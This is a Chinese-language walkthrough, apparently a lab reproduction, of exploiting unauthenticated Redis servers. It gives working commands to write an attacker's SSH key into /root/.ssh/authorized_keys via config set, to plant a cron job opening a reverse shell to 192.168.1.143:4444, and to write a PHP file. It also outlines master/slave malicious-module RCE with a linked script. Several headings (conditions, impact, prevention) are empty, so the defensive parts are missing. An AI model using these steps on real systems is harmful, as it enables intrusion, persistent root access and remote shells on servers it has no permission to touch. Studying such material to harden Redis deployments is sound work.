Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
数据库版本在 4.x / 5.x 以下。
Redis 4.0.14:https://vulhub.org/#/environments/redis/4-unacc/
复现没有用vulhub的靶场,而是自己搭建了一个:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
redis-server redis.conf
redis-cli shutdown
踩坑:搭建好后外部无法连接,修改配置文件
bind 127.0.0.1
daemonize no
protected-mode no
简单的说,漏洞产生条件有以下两点:
漏洞危害:
预防措施:
攻击机安装redis-cli远程连接工具:
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
接下来使用redis-cli命令直接远程免密登录redis主机:
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
由于靶场没有开启web服务器,这里写入一个文件作为演示。
攻击条件:
注:写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行。
补充:当数据库过大时,redis写入shell小技巧
set_time_limit(0);
$fp=fopen('shell.php','w');
fwrite($fp,'');
exit();
?>
在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa
进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入):cat 1.txt | redis-cli -h 10.11.45.150 -x set crack
更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys
保存并退出:
此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:
攻击机上先监听端口:
写入计划任务(连接时需要以root用户身份):
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.143/4444 0>&1\n\n\n"
save
漏洞存在于4.x、5.x版本中,Redis 提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在 Reids 4.x 之后,通过外部拓展,可以实现在redis中实现一个新的 Redis 命令,构造恶意 .so 文件。在两个Redis实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 so 文件,即可执行命令。
python脚本:https://github.com/Ridter/redis-rce
攻击后就可以在攻击机上获得反弹shell了
参考链接:
https://www.cnblogs.com/bmjoker/p/9548962.html(Redis未授权访问漏洞复现与利用(含Python脚本自动化测试) )
https://zhuanlan.zhihu.com/p/36529010(redis 在渗透中 getshell 方法总结)